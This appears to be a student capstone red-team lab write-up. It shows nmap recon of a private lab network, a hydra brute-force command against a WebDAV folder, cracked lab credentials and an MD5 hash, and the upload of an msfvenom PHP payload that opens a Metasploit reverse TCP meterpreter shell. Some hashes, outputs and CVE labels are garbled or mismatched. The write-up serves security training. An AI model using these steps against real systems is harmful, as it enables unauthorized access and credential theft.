

Recon: Describing the Target

Nmap identified the following hosts on the network:

Hostname	IP Address	Role on Network
ELK Machine	192.168.1.100	ELK Server
Capstone Server	192.168.1.105	Apache HTTP WebDav Server
Kali Linux	192.168.1.90	Red Team PenTest Machine
Windows Gateway	192.168.1.1	Default Gateway Router

Vulnerability Assessment

The assessment uncovered the following critical vulnerabilities in the target:

Vulnerability	Description	Impact
Sensitive Data Exposure CWE-200	Information included in the public facing code, text, and documents that reveals personal Identifiable information like a name or employment information.	This allows attackers to narrow their field of focus through enumeration to further define/refine their attack surface.
Brute Force Vulnerability CVE-2020-14494	A BFV consists of an attacker configuring predetermined values, making requests to a server using those values, and then analyzing the response.	This allows attackers to run values, such as passwords, through software that will guess predetermined strings until a favorable response returns.
PHP Remote File Inclusion CVE-2006-2849	This allows attackers to execute malicious code remotely	This allows attackers to gain backdoor access via a reverse TCP connection

- 1) GAO Report 08-536, Privacy: Alternatives Exist for Enhancing Protection of Personally Identifiable Information, May 2008, <http://www.gao.gov/new.items/d08536.pdf>.
2) https://owasp.org/www-community/attacks/Brute_force_attack

Exploitation: Sensitive Data Exposure

01

Tools & Processes

Utilize nmap to scan the local network to enumerate which server is the target machine.

Access the vulnerable server through the IP address listed.

Scan the Webdav pages for Sensitive Data Exposure.

02

Achievements

This exploit allowed us to find the Webdav server.

Find three important pieces of information:

- secret_folder
- Ryan M. C.E.O
- Ashton is the manager of direct communication
- Ashton manages the secret folder
- Ryan manages the webdav folder

03

```
Ashton is 22 years young, with a masters degree in aquatic jousting. "Moving over to managing everyone's credit card and security information has been terrifying. I can't believe that they have me managing the company_folders/secret_folder! I really shouldn't be here" We look forward to working more with Ashton in the future!
```

```
In order to connect to our companies webdav server I need to use ryan's account  
(Hash:d7dad0a5cd7c8376eeb50d69b3ccd352)
```

1. I need to open the folder on the left hand bar
2. I need to click "Other Locations"
3. I need to type "dav://172.16.84.205/webdav/"
4. I will be prompted for my user (but i'll use ryans account) and password
5. I can click and drag files into the share and reload my browser

Exploitation: Brute Force Vulnerability

01

Tools & Processes

Utilize the hydra and the enumerated web pages to crack the passwords.

Command:

```
Hydra -l ashton -P  
/usr/share/wordlists/rockyou.txt -f -vV  
192.168.1.105 http-get  
http://192.168.1.105/company_folders  
/secret_folder
```

02

Achievements

After running the command, we found ashton's login credentials:

Username: ashton
Password: leopoldo

We then used the hash provided in the secret folder to crack ryan's password using crackstation:

username : ryan
Password: linux4u

03

```
[ATTEMPT] target 192.168.1.105 - log  
[80][http-get] host: 192.168.1.105  
[STATUS] attack finished for 192.168.1.105  
1 of 1 target successfully completed  
Hydra (https://github.com/vanhauser-root@Kali:~# hydra -l ashton -P /usr/share/wordlists/rockyou.txt -f -vV 192.168.1.105 http-get http://192.168.1.105/company_folders/secret_folder)
```



Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

#7dad9a5cd7c8376eeb5b0d9b3ccd352

☐ I'm not a robot

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, rpeMD160, whirlpool, MySQL 4.1+ (sha1/sha1_bin), C

Hash	Type
#7dad9a5cd7c8376eeb5b0d9b3ccd352	md5

Color Codes: ■ Exact match, ■ Partial match, ■ Not found.

[Download CrackStation's Wordlist](#)

Exploitation: Local File Inclusion/Unauthorized File Upload

01

Tools & Processes

After cracking the password hash for ryan's account, we then could add the WebDav file share to our Network Files manger.

This will allow us to upload the malicious PHP script that we later execute for a reverse tcp connection.

02

Achievements

This allowed us to upload the malicious PHP script to initiate a reverse tcp connection.

Msfvenom was used to build the script.

Msfconsole was used to open the meterpreter session that ultimately allowed us a remote connection to find the flag.

03



The screenshot shows a webdav login interface and a terminal window. The login page has a title "Enter password for webdav", a "Username" field with the value "ryan", and a "Password" field with masked characters. Below the login form is a directory listing for "/webdav".

Name	Last modified	Size	Description
Parent Directory	-	-	-
passwd.day	2019-05-07 18:19	43	
webdav.php	2021-04-10 15:29	1.1K	

Below the directory listing is a terminal window showing the Metasploit (msf5) session. The terminal output is as follows:

```
Apache/2.4.29 (Ubuntu) Server at 192.168.1.105 Port 80
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.90
LHOST => 192.168.1.90
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.90
[*] Sending stage (38288 bytes) to 192.168.1.90
[*] Meterpreter session 1 opened (192.168.1.90:8:38:34 -0700)
```